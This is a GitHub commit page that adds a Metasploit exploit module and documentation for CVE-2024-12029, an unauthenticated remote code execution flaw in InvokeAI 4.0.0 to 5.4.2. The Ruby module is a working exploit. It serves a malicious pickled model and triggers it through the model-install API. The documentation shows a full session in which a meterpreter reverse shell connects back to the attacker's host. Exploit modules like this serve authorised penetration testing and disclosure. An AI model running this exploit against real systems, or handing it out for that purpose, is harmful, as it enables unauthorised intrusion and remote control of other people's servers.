-
Notifications
You must be signed in to change notification settings - Fork 14.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19883, module for unauthenticated RCE in InvokeAI
- Loading branch information
Showing
2 changed files
with
252 additions
and
0 deletions.
There are no files selected for viewing
141 changes: 141 additions & 0 deletions
141
documentation/modules/exploit/linux/http/invokeai_rce_cve_2024_12029.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
## Vulnerable Application | ||
|
||
InvokeAI has a critical vulnerability leading to remote code execution | ||
in the /api/v2/models/install API through unsafe model deserialization. | ||
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation. | ||
This functionality allows attackers to embed malicious code in model files that execute upon loading. | ||
|
||
The vulnerability affects: | ||
|
||
* 4.0.0 <= InvokeAI <= 5.4.2 | ||
|
||
This module was successfully tested on: | ||
|
||
* InvokeAI 5.3.1 installed on Ubuntu 22.04 | ||
|
||
|
||
### Installation | ||
|
||
Follow the [official instructions](https://invoke-ai.github.io/InvokeAI/installation/manual/#walkthrough) | ||
|
||
1. Install uv: | ||
|
||
`curl -LsSf https://astral.sh/uv/install.sh | sh` | ||
|
||
2. Create a directory for your installation: | ||
|
||
```bash | ||
mkdir ~/invokeai | ||
cd ~/invokeai | ||
``` | ||
|
||
3. Create a virtual environment in that directory: | ||
|
||
`uv venv --relocatable --prompt invoke --python 3.11 --python-preference only-managed .venv` | ||
|
||
4. Activate the virtual environment: | ||
|
||
`source .venv/bin/activate` | ||
|
||
5. Install the invokeai package: | ||
|
||
```bash | ||
uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed --index=https://download.pytorch.org/whl/cpu --force-reinstall | ||
``` | ||
|
||
6. Deactivate and reactivate your venv so that the invokeai-specific commands become available in the environment: | ||
|
||
`deactivate && source .venv/bin/activate` | ||
|
||
7. Edit ~/invokeai/invoke.yaml: | ||
|
||
```yaml | ||
# Internal metadata - do not edit: | ||
schema_version: 4.0.2 | ||
|
||
# Put user settings here - see https://invoke-ai.github.io/InvokeAI/features/CONFIGURATION/: | ||
host: 0.0.0.0 # serve the app on your local network | ||
``` | ||
8. Run the application, specifying the directory you created earlier as the root directory: | ||
`invokeai-web --root ~/invokeai` | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Do: `use exploit/linux/http/invokeai_rce_cve_2024_12029` | ||
4. Do: `run lhost=<lhost> rhost=<rhost>` | ||
5. You should get a meterpreter | ||
|
||
|
||
## Options | ||
|
||
|
||
## Scenarios | ||
``` | ||
msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029 | ||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options | ||
|
||
Module options (exploit/linux/http/invokeai_rce_cve_2024_12029): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 9090 yes The target port (TCP) | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
URIPATH no The URI to use for this exploit (default is random) | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
FETCH_DELETE true yes Attempt to delete the binary after execution | ||
FETCH_FILENAME CdRqUbPlDQJ no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces | ||
LHOST 192.168.0.12 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Linux Command | ||
|
||
|
||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17 | ||
[*] Started reverse TCP handler on 192.168.56.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Version 5.3.1 detected. | ||
[*] Using URL: http://192.168.56.1:8081/Z8KmlibT | ||
[*] Server started. | ||
[*] Sending stage (3045380 bytes) to 192.168.56.17 | ||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:48294) at 2025-02-16 15:24:41 +0900 | ||
[*] Server stopped. | ||
|
||
meterpreter > getuid | ||
Server username: ubu | ||
meterpreter > sysinfo | ||
Computer : 192.168.56.17 | ||
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` |
111 changes: 111 additions & 0 deletions
111
modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,111 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HttpServer | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'InvokeAI RCE', | ||
'Description' => %q{ | ||
InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization. | ||
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation. | ||
This functionality allows attackers to embed malicious code in model files that execute upon loading. | ||
}, | ||
'Author' => [ | ||
'jackfromeast', # Vulnerability discovery and PoC | ||
'Takahiro Yokoyama' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2024-12029'], | ||
['URL', 'https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3'], | ||
], | ||
'Platform' => %w[linux], | ||
'Targets' => [ | ||
[ | ||
'Linux Command', { | ||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd | ||
} | ||
], | ||
], | ||
'DefaultOptions' => { | ||
'FETCH_DELETE' => true | ||
}, | ||
'DefaultTarget' => 0, | ||
'Payload' => { | ||
'BadChars' => '\'"' | ||
}, | ||
'Stance' => Msf::Exploit::Stance::Aggressive, | ||
'DisclosureDate' => '2025-02-07', | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], | ||
'Reliability' => [ REPEATABLE_SESSION, ] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(9090), | ||
] | ||
) | ||
|
||
register_advanced_options([ | ||
OptPort.new('SRVPORT', [true, 'The local port to listen HTTP requests from target', 8081 ]), | ||
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'api/v1/app/version') | ||
}) | ||
return Exploit::CheckCode::Unknown unless res&.code == 200 | ||
|
||
json_version = res&.get_json_document&.fetch('version', nil) | ||
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version | ||
|
||
version = Rex::Version.new(json_version) | ||
return Exploit::CheckCode::Unknown('Failed to get version.') unless version | ||
|
||
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('5.4.2')) | ||
|
||
Exploit::CheckCode::Appears("Version #{version} detected.") | ||
end | ||
|
||
def on_request_uri(cli, _request) | ||
send_response(cli, Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")) | ||
end | ||
|
||
def primer | ||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/v2/models/install'), | ||
'headers' => { 'Content-Type' => 'application/json' }, | ||
'vars_get' => { | ||
# Malicious model path, not .pkl | ||
'source' => "#{get_uri}/#{rand_text_alpha(8)}.ckpt", | ||
'inplace' => 'true' | ||
}, | ||
'data' => {}.to_json | ||
}) | ||
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 201 | ||
end | ||
|
||
def exploit | ||
Timeout.timeout(datastore['HTTPDELAY']) { super } | ||
rescue Timeout::Error | ||
# When the server stops due to our timeout, this is raised | ||
end | ||
|
||
end |